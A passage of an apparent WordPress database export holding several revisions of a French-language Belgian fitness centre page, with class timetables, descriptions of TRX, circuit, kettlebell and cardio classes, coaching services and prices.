class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-10 15:43:05', '2013-07-10 15:43:05', '', 11, 'http://www.crosstrainingcenter.be/11-revision-108/', 0, 'revision', '', 0),
(280, 1, '2013-07-04 16:23:57', '2013-07-04 16:23:57', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;X&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;X&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;X&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;X&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;X&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;X&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;X&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;X&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 16:23:57', '2013-07-04 16:23:57', '', 11, 'http://www.crosstrainingcenter.be/?p=280', 0, 'revision', '', 0),
(281, 1, '2013-07-04 16:27:23', '2013-07-04 16:27:23', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre 